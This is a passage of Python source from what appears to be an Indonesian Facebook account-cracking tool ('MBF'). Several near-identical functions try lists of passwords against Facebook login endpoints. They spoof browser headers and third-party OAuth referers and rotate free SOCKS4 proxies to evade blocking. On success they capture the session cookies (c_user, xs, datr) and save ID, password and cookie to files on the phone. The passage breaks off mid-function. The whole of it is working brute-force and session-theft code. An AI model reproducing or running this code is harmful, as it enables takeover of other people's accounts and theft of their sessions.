  871.             'referer': f'https://{url}/login.php?skip_api_login=1&api_key=607187076044599&kid_directed_site=0&app_id=607187076044599&signed_next=1&next=https%3A%2F%2F{url}%2Fv8.0%2Fdialog%2Foauth%3Fclient_id%3D607187076044599%26display%3Dpopup%26redirect_uri%3Dhttps%253A%252F%252Fpergikuliner.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Demail%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D6321ea45-1edf-459d-b7ba-f3006d4e5264%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fpergikuliner.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D90447ac345e71ee7b3f3fe074078ad82078d27a0eb62a266%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr',
  872.             'accept-encoding': 'gzip, deflate, br',
  873.             'accept-language': 'id-ID,id;q=0.9'
  874.             }
  875.         )
  876.             #po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",headers=head, data=date, allow_redirects=False,proxies=proxs)
  877.             po = ses.post(f"https://{url}/login/device-based/validate-password/?shbl=0",,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  878.             if "c_user" in ses.cookies.get_dict().keys():
  879.                 ok+=1
  880.                 cooz = ses.cookies.get_dict()
  881.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  882.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  883.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  884.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  885.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  886.                 prints(tree)
  887.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  888.                 break          
  889.             elif "checkpoint" in po.cookies.get_dict().keys():
  890.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  891.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  892.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  893.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  894.                 prints(tree)
  895.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  896.                 akune.append(idf+'|'+pw)
  897.                 ceker(idf,pw)
  898.                 cp+=1
  899.                 break  
  900.                
  901.             else:
  902.                 continue
  903.         except requests.exceptions.ConnectionError:
  904.             time.sleep(31)
  905.     loop+=1
  906.        
  907.    
  908. #----------[ MOBILE ASYINC ]----------#                            
  909. def cracking03(idf,pwx,url):
  910.     global loop,ok,cp
  911.     ses = requests.Session()
  912.     rr = random.randint
  913.     rc = random.choice
  914.     emot = rc(["😝","😜","ðŸĪŠ"])
  915.     prog.update(des,description=f"\r {emot} MBF 03 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  916.     prog.advance(des)
  917.     for pw in pwx:
  918.         try:
  919.             if 'ya' in uadia: ua = uamu[0]
  920.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  921.             open('socksku.txt','w').write(proxs)
  922.             nip = rc(proxs)
  923.             proxs = {'http': 'socks4://'+nip}
  924.             ua = rc(ugen)
  925.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  926.             ref = rc(["https://free.facebook.com/v15.0/dialog/oauth?app_id=2099441543493930&cbt=1695431299436&channel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df1c85e481ec6f54%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff32319606d1fd9%26relation%3Dopener&client_id=2099441543493930&display=touch&domain=account.hoyoverse.com&e2e=%7B%7D&fallback_redirect_uri=https%3A%2F%2Faccount.hoyoverse.com%2F%23%2Flogin%3Fcb_route%3D%252Faccount%252FaccountInfo&locale=id_ID&logger_id=f3326cd7b1d756&origin=2&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df3b2584c4d3e4dc%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff32319606d1fd9%26relation%3Dopener%26frame%3Df24c2c7ee5b0ad4&response_type=token%2Csigned_request%2Cgraph_domain&sdk=joey&version=v15.0&refsrc=deprecated&ret=login&fbapp_pres=0&tp=unspecified"])
  927.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=2099441543493930&kid_directed_site=0&app_id=2099441543493930&signed_next=1&next=https%3A%2F%2F{url}%2Fv11.0%2Fdialog%2Foauth%3Fapp_id%3D2099441543493930%26cbt%3D1693466972390%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df263885d940389%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%26client_id%3D2099441543493930%26display%3Dtouch%26domain%3Daccount.hoyoverse.com%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252F%2523%252Flogin%253Fcb_route%253D%25252Faccount%25252FaccountInfo%26locale%3Did_ID%26logger_id%3Df24ea8b6c2199ac%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df348efd0f31f7e8%2526domain%253Daccount.hoyoverse.com%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Faccount.hoyoverse.com%25252Ff33e116a09cb6c8%2526relation%253Dopener%2526frame%253Df506dad7e5f0a4%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv11.0%26refsrc%3Ddeprecated%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df348efd0f31f7e8%26domain%3Daccount.hoyoverse.com%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Faccount.hoyoverse.com%252Ff33e116a09cb6c8%26relation%3Dopener%26frame%3Df506dad7e5f0a4%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  928.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  929.             'had_cp_prefilled': 'false',
  930.             'had_password_prefilled': 'false',
  931.             'is_smart_lock': 'true',
  932.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  933.             "__dyn": "",
  934.             "__csr": "",
  935.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  936.             "__a": "",
  937.             "__user": "0",
  938.             "_fb_noscript": "true"}
  939.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  940.             head = {"Host": url,
  941.             "content-length": f"{len(str(date))}",
  942.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  943.             "sec-ch-ua-mobile": "?1",
  944.             "user-agent": ua,
  945.             "viewport-width": f"str(rr(400,989)",
  946.             "content-type": "application/x-www-form-urlencoded",
  947.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  948.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  949.             "x-asbd-id": "129477",
  950.             "x-requested-with": "mark.via.gp",
  951.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  952.             "sec-ch-prefers-color-scheme": "light",
  953.             "sec-ch-ua-platform": '"Android"',
  954.             "accept": "*/*",
  955.             "origin": "https://"+url,
  956.             "sec-fetch-site": "same-origin",
  957.             "sec-fetch-mode": "cors",
  958.             "sec-fetch-dest": "empty",
  959.             "referer": ref,
  960.             "accept-encoding": "gzip, deflate, br",
  961.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  962.             "x-response-format": "JSONStream"}     
  963.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  964.             #po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  965.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  966.             if "c_user" in ses.cookies.get_dict().keys():
  967.                 ok+=1
  968.                 cooz = ses.cookies.get_dict()
  969.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  970.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  971.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  972.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  973.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  974.                 prints(tree)
  975.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  976.                 break          
  977.             elif "checkpoint" in po.cookies.get_dict().keys():
  978.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  979.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  980.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  981.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  982.                 prints(tree)
  983.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  984.                 akune.append(idf+'|'+pw)
  985.                 ceker(idf,pw)
  986.                 cp+=1
  987.                 break  
  988.                
  989.             else:
  990.                 continue
  991.         except requests.exceptions.ConnectionError:
  992.             time.sleep(31)
  993.     loop+=1
  994.        
  995.    
  996. #----------[ M ALPHA ASYINC ]----------#                               
  997. def cracking04(idf,pwx,url):
  998.     global loop,ok,cp
  999.     ses = requests.Session()
  1000.     rr = random.randint
  1001.     rc = random.choice
  1002.     emot = rc(["😝","😜","ðŸĪŠ"])
  1003.     prog.update(des,description=f"\r {emot} MBF 04 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1004.     prog.advance(des)
  1005.     for pw in pwx:
  1006.         try:
  1007.             if 'ya' in uadia: ua = uamu[0]
  1008.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1009.             open('socksku.txt','w').write(proxs)
  1010.             nip = rc(proxs)
  1011.             proxs = {'http': 'socks4://'+nip}
  1012.             #proxs = {'http': 'socks5://'+nip}
  1013.             ua = rc(ugen)
  1014.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1015.             ref = rc(["https://free.facebook.com/v13.0/dialog/oauth?client_id=344190606773871&redirect_uri=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook&state=cf6e9bb52dc57f69601e1f951fbfa5fa198fd9843a5250e744c7ec218d73&scope=email&ret=login&fbapp_pres=0&logger_id=a55bca6c-4160-473d-bebc-4b9ca91b72b4&tp=unspecified"])
  1016.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=344190606773871&kid_directed_site=0&app_id=344190606773871&signed_next=1&next=https%3A%2F%2F{url}%2Fv13.0%2Fdialog%2Foauth%3Fclient_id%3D344190606773871%26redirect_uri%3Dhttps%253A%252F%252Fauthenticate.riotgames.com%252Fredirects%252Ffacebook%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%26scope%3Demail%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3Df815ea0d-433c-4a0b-a325-cdfd822fae0d%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fauthenticate.riotgames.com%2Fredirects%2Ffacebook%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D1a67cc732815d893f87d8053f9c057e1e5166755cfe16445766f40d31c0e%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1017.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1018.             'had_cp_prefilled': 'false',
  1019.             'had_password_prefilled': 'false',
  1020.             'is_smart_lock': 'true',
  1021.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1022.             "__dyn": "",
  1023.             "__csr": "",
  1024.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1025.             "__a": "",
  1026.             "__user": "0",
  1027.             "_fb_noscript": "true"}
  1028.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1029.             head = {"Host": url,
  1030.             "content-length": f"{len(str(date))}",
  1031.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1032.             "sec-ch-ua-mobile": "?1",
  1033.             "user-agent": ua,
  1034.             "viewport-width": f"str(rr(400,989)",
  1035.             "content-type": "application/x-www-form-urlencoded",
  1036.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1037.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1038.             "x-asbd-id": "129477",
  1039.             "x-requested-with": "mark.via.gp",
  1040.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1041.             "sec-ch-prefers-color-scheme": "light",
  1042.             "sec-ch-ua-platform": '"Android"',
  1043.             "accept": "*/*",
  1044.             "origin": "https://"+url,
  1045.             "sec-fetch-site": "same-origin",
  1046.             "sec-fetch-mode": "cors",
  1047.             "sec-fetch-dest": "empty",
  1048.             "referer": ref,
  1049.             "accept-encoding": "gzip, deflate, br",
  1050.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1051.             "x-response-format": "JSONStream"}     
  1052.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  1053.             #po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1054.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  1055.             if "c_user" in ses.cookies.get_dict().keys():
  1056.                 ok+=1
  1057.                 cooz = ses.cookies.get_dict()
  1058.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1059.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  1060.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  1061.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  1062.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  1063.                 prints(tree)
  1064.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  1065.                 break          
  1066.             elif "checkpoint" in po.cookies.get_dict().keys():
  1067.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  1068.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  1069.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  1070.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  1071.                 prints(tree)
  1072.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1073.                 akune.append(idf+'|'+pw)
  1074.                 ceker(idf,pw)
  1075.                 cp+=1
  1076.                 break  
  1077.                
  1078.             else:
  1079.                 continue
  1080.         except requests.exceptions.ConnectionError:
  1081.             time.sleep(31)
  1082.     loop+=1
  1083.        
  1084. #----------[ M TOUCH ASYINC ]----------#                               
  1085. def cracking05(idf,pwx,url):
  1086.     global loop,ok,cp
  1087.     ses = requests.Session()
  1088.     rr = random.randint
  1089.     rc = random.choice
  1090.     emot = rc(["😝","😜","ðŸĪŠ"])
  1091.     prog.update(des,description=f"\r {emot} MBF 05 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1092.     prog.advance(des)
  1093.     for pw in pwx:
  1094.         try:
  1095.             if 'ya' in uadia: ua = uamu[0]
  1096.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1097.             open('socksku.txt','w').write(proxs)
  1098.             nip = rc(proxs)
  1099.             proxs = {'http': 'socks4://'+nip}
  1100.             #proxs = {'http': 'socks5://'+nip}
  1101.             ua = rc(ugen)
  1102.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])
  1103.             ref = rc(["https://free.facebook.com/v4.0/dialog/oauth?response_type=code&client_id=923560728108869&redirect_uri=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback&state=796d0cb30a47b485779b044fe00412aaf7a6176bdaa6da23&scope=public_profile%2C+email&ret=login&fbapp_pres=0&logger_id=316f61e8-edf0-4bff-9e1b-db57cccc4337&tp=unspecified"])
  1104.             link = ses.get(f"https://{url}/login.php?skip_api_login=1&api_key=923560728108869&kid_directed_site=0&app_id=923560728108869&signed_next=1&next=https%3A%2F%2F{url}%2Fv4.0%2Fdialog%2Foauth%3Fclient_id%3D923560728108869%26redirect_uri%3Dhttps%253A%252F%252Fm.vidio.com%252Fusers%252Fauth%252Ffacebook%252Fcallback%26response_type%3Dcode%26scope%3Dpublic_profile%252C%2Bemail%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D1a6e89e0-aa8e-44c6-94a8-64fac35ccaec%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fm.vidio.com%2Fusers%2Fauth%2Ffacebook%2Fcallback%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D51ef1254f0cd1f1bfc616d837984a9710af4f0b2f1036ac0%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr")
  1105.             date = {'m_ts': re.search('name="m_ts" value="(.*?)"',str(link.text)).group(1),'li': re.search('name="li" value="(.*?)"',str(link.text)).group(1),'try_number': '0','unrecognized_tries': '0','email': idf,'prefill_contact_point': '','prefill_source': '','prefill_type': '','first_prefill_source': '','first_prefill_type': '',
  1106.             'had_cp_prefilled': 'false',
  1107.             'had_password_prefilled': 'false',
  1108.             'is_smart_lock': 'true',
  1109.             'bi_xrwh': re.search('name="bi_xrwh" value="(.*?)"',str(link.text)).group(1),'pass': pw,'jazoest': re.search('name="jazoest" value="(.*?)"',str(link.text)).group(1),'lsd': re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1110.             "__dyn": "",
  1111.             "__csr": "",
  1112.             "__req": rc(["1","2","3","4","5","6","7","8","9","0"]),
  1113.             "__a": "",
  1114.             "__user": "0",
  1115.             "_fb_noscript": "true"}
  1116.             #cokz = ";".join([ "%s=%s" % (key, value) for key, value in link.cookies.get_dict().items()])
  1117.             head = {"Host": url,
  1118.             "content-length": f"{len(str(date))}",
  1119.             "sec-ch-ua": f'"Not.A/Brand";v="{str(rr(8,20))}", "Chromium";v="{str(rr(110,114))}", "Google Chrome";v="{str(rr(110,114))}"',
  1120.             "sec-ch-ua-mobile": "?1",
  1121.             "user-agent": ua,
  1122.             "viewport-width": f"str(rr(400,989)",
  1123.             "content-type": "application/x-www-form-urlencoded",
  1124.             "x-fb-lsd": re.search('name="lsd" value="(.*?)"',str(link.text)).group(1),
  1125.             "sec-ch-ua-platform-version": f'"{str(rr(7,14))}.0.0"',
  1126.             "x-asbd-id": "129477",
  1127.             "x-requested-with": "mark.via.gp",
  1128.             "sec-ch-ua-full-version-list": f'"Not.A/Brand";v="{str(rr(8,20))}.0.0.0", "Chromium";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}", "Google Chrome";v="{str(rr(110,114))}.0.{str(rr(2000,5999))}.{str(rr(10,399))}"',
  1129.             "sec-ch-prefers-color-scheme": "light",
  1130.             "sec-ch-ua-platform": '"Android"',
  1131.             "accept": "*/*",
  1132.             "origin": "https://"+url,
  1133.             "sec-fetch-site": "same-origin",
  1134.             "sec-fetch-mode": "cors",
  1135.             "sec-fetch-dest": "empty",
  1136.             "referer": ref,
  1137.             "accept-encoding": "gzip, deflate, br",
  1138.             "accept-language": "zh-CN;q=0.8,zh;q=0.7",
  1139.             "x-response-format": "JSONStream"}     
  1140.             links = rc([f"https://{url}/login/device-based/login/async/?refsrc=deprecated&lwv=100"])
  1141.             #po = ses.post(links,headers=head,data=date,cookies={"cookie":cokz},allow_redirects=False,proxies=proxs)
  1142.             po = ses.post(links,headers=head,data=date,allow_redirects=False,proxies=proxs)
  1143.             if "c_user" in ses.cookies.get_dict().keys():
  1144.                 ok+=1
  1145.                 cooz = ses.cookies.get_dict()
  1146.                 coki = "datr=" + cooz["datr"] + ";" + ("sb=" + cooz["sb"]) + ";" + "locale=id_ID" + ";" + ("c_user=" + cooz["c_user"]) + ";" + ("xs=" + cooz["xs"]) + ";" + ("fr=" + cooz["fr"]) + ";"
  1147.                 tree = Tree(Panel.fit(f"[green]LOGIN SUCKSES",style=f"#AAAAAA"))
  1148.                 tree.add(Panel.fit(f"[green]{idf} | {pw}",style=f"#AAAAAA")).add(Panel.fit(f"[green]{tahun(idf)}",style=f"#AAAAAA"))
  1149.                 tree.add(Panel.fit(f"[green]{coki}",style=f"#AAAAAA"))
  1150.                 #tree.add(Panel.fit(f"[green]{ua}",style=f"#AAAAAA"))
  1151.                 prints(tree)
  1152.                 open('/sdcard/MBF-OK/'+'MBF-OK.txt','a').write(idf+'|'+pw+'|'+coki+'\n')
  1153.                 break          
  1154.             elif "checkpoint" in po.cookies.get_dict().keys():
  1155.                 tree = Tree(Panel.fit(f"[yellow]LOGIN CHECKPOINT",style=f"#AAAAAA"))
  1156.                 tree.add(Panel.fit(f"[yellow]{idf} | {pw}",style=f"#AAAAAA"))
  1157.                 tree.add(Panel.fit(f"[yellow]{tahun(idf)}",style=f"#AAAAAA"))
  1158.                 #tree.add(Panel.fit(f"[yellow]{ua}",style=f"#AAAAAA"))
  1159.                 prints(tree)
  1160.                 open('/sdcard/MBF-CP/'+'MBF-CP.txt','a').write(idf+'|'+pw+'\n')
  1161.                 akune.append(idf+'|'+pw)
  1162.                 ceker(idf,pw)
  1163.                 cp+=1
  1164.                 break  
  1165.                
  1166.             else:
  1167.                 continue
  1168.         except requests.exceptions.ConnectionError:
  1169.             time.sleep(31)
  1170.     loop+=1
  1171.                
  1172. #----------[ MOBILE REGULER ]----------#                               
  1173. def cracking06(idf,pwx,url):
  1174.     global loop,ok,cp
  1175.     ses = requests.Session()
  1176.     rr = random.randint
  1177.     rc = random.choice
  1178.     emot = rc(["😝","😜","ðŸĪŠ"])
  1179.     prog.update(des,description=f"\r {emot} MBF 06 ( OK [green]: {ok} [white]) ( CP [yellow]: {cp} [white]) ([red] {loop} [white]) ")
  1180.     prog.advance(des)
  1181.     for pw in pwx:
  1182.         try:
  1183.             if 'ya' in uadia: ua = uamu[0]
  1184.             proxs = requests.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks4&timeout=100000&country=all&ssl=all&anonymity=all').text
  1185.             open('socksku.txt','w').write(proxs)
  1186.             nip = rc(proxs)
  1187.             proxs = {'http': 'socks4://'+nip}
  1188.             ua = rc(ugen)
  1189.             ua2 = rc(["Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Mobile/15E148 Safari/604.1","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Edg/91.0.864.59"])    
  1190.             ses.headers.update({"Host":url,
  1191.             "upgrade-insecure-requests":"1",
  1192.             "user-agent":ua,
  1193.             "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1194.             "dnt":f"{str(rr(1,9))}",
  1195.             "x-requested-with":"com.facebook.katana",
  1196.             "sec-fetch-site":"same-origin",
  1197.             "sec-fetch-mode":"cors",
  1198.             "sec-fetch-user":"empty",
  1199.             "sec-fetch-dest":"document",
  1200.             "referer":f"https://{url}/",
  1201.             "accept-encoding":"gzip, deflate br",
  1202.             "accept-language":"en-GB,en-US;q=0.9"})
  1203.             link = ses.get('https://m.facebook.com/login/?email='+idf).text
  1204.             date = {'lsd':re.search('name="lsd" value="(.*?)"', str(link)).group(1),'jazoest':re.search('name="jazoest" value="(.*?)"', str(link)).group(1),'m_ts':re.search('name="m_ts" value="(.*?)"', str(link)).group(1),
  1205. 'li':re.search('name="li" value="(.*?)"', str(link)).group(1),'email':idf,'pass':pw}
  1206.             ses.headers.update({'Host': url,
  1207.             'cache-control': 'max-age=0',
  1208.             'upgrade-insecure-requests': '1',
  1209.             'origin': 'https://'+url,
  1210.             'content-type': 'application/x-www-form-urlencoded',
  1211.             'user-agent': ua,
  1212.             'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1213.             'sec-fetch-site': 'same-origin',
  1214.             'sec-fetch-mode': 'cors',
  1215.             'sec-fetch-user': 'empty',
  1216.             'sec-fetch-dest': 'document',
  1217.             'referer': f'https://{url}/login/?email='+idf,
